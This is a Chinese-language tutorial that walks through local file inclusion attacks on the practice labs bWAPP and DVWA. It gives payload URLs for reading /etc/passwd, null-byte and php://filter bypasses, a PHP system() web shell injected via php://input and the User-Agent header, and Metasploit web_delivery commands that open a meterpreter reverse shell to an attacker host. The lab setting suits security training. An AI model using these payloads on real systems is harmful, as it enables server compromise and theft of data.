0x00 前言
本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法。 我们都知道LFI漏洞允许用户通过在URL中包括一个文件。在本文中,我使用了bWAPP和DVWA两个不同的平台,其中包含文件包含漏洞的演示。通过它我以四种不同的方式执行LFI攻击。
0x01 基本本地文件包含
在浏览器中输入目标IP,并在BWAPP内登录(bee:bug),现在选择bug:remote & local file Inclusion,然后点击hack。
打开具有RFI和LFI漏洞的网页。在下拉列表中选择语言释,单击go按钮时,所选的语言文件将包含在URL中。 执行基本攻击操作。
http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd
在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,下面的截图中在浏览器URL中访问密码文件。
0x02 Null byte
在一些情况下,由于高安全级别,上面提到的基本本地文件包含攻击可能不工作。从下面的截图可以观察到,当在URL中执行相同的路径时,却无法读取密码文件。 所以当面对这样的问题,可以进行NULL byte攻击。
打开burp suite捕获浏览器请求,然后选择代理选项卡并开始截取。 不要忘记在使用burp suite时设置浏览器代理。
将拦截的数据发送到repeater。
在repeater中做发送的请求和响应生成的分析。从截图可以清楚的看出/ etc / passwd不能读取。
在下面的截图中,通过在etc/passwd目录的末尾添加空字符(%00)来转发请求,然后单击go选项卡。然后在窗口的右视图上,密码文件作为响应打开。
0x03 Base64 encoded
当安全级别高并且无法查看PHP文件内容时,使用以下PHP函数:
http://192.168.1.101/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd
从以下截图可以看到passwd文件内容编码为base64,复制整个编码文本。
使用hackbar解码复制的编码文本。
将复制的编码文本粘贴到弹出的对话框内。
密码文件的内容:
0x04 PHP Input
使用PHP Input函数,通过执行注入PHP代码来利用LFI漏洞。首先,加载目标网页URL:
http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go
使用PHP input函数:
http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls
然后选中enable Post data复选框,转发提交的数据,并在给定文本区域中添加cmd命令<?php system($ _ GET [‘cmd’]); ?>。如下图所示,最后点击execute。
通过反向连接连接目标机器; 在kali Linux中打开终端输入msfconsole启动metasploit。
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.0.104
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)>exploit
复制下图中的高亮文本:
将上面复制的PHP代码粘贴到URL中,如下图所示,并执行它。
当上面的URL被执行时,将metasploit中获得目标的meterpreter会话。
msf exploit (web_delivery)>session –I 1
meterpreter> sysinfo
0x05 Proc/self/environ
如果服务超时,通过LFI利用它。可以包括存储User_Agent的proc/self/environ文件,在文件中插入用于执行CMD命令的PHP代码。
http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ
启动burp suite拦截浏览器请求,并将获取数据发送到repeater。
将CMD命令<?php system($_GET[‘cmd’]); ?>添加到user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求。响应如下图右侧所示。